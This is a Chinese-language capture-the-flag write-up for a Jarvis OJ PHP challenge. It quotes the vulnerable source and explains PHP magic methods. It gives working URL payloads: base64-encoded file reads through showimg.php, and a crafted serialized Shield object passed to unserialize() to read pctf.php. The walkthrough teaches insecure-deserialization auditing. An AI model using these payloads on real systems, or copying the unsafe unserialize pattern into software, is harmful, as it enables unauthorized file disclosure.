PHP代码审计分段讲解(10)
<!-- 题目:http://web.jarvisoj.com:32768 --> <!-- index.php --> <?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?> <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/> <!-- shield.php --> <?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?> <!-- showimg.php --> <?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE //stripos — 查找字符串首次出现的位置(不区分大小写) && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
这道题目是PHP反序列的题目,比较基础。
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
列举常见方法
__construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
这道题目只用到了__construct()方法,该方法是在创建对象时触发
简单了解了基础知识之后我们来看题目,代码中给出的环境还能够访问:http://web.jarvisoj.com:32768,我们也可以通过代码推断出原来的环境。
查看网页源代码:
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
猜测是base64编码,解码得到:
获取index.php的源代码,payload为:
http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
查看源代码
<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?> <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
可以看到包含了shield.php,继续查看shield.php的源代码 payload为:
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
再包含一下showimg.php :
http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
可以看到,showimg.php可以直接包含base64解密后的文件,同时虽然shield.php在里面说明了 flag is in pctf.php,但是showimg.php里面表示了,是无法直接包含pctf文件的,以及进行了目录穿越的禁止。
回到index.php
里面关键点在于:
$x = unserialize($g); } echo $x->readfile();
在这里对$g进行了反序列化,然后输出了对象$x的readfile()方法的结果
而$g是在这里进行赋值:
isset($_GET['class']) && $g = $_GET['class'];
是我们可以控制的。
再继续看shield.php中的Shield类,也就是我们序列化和反序列化的对象
class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } }
根据类进行PHP在线环境进行反向构造即可
即反序列化后直接使用readfile()方法读取任意文件,这里我们读取pctf.php
payload为:
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
查看源代码为:
获得flag,是一道很基础的PHP反序列化题目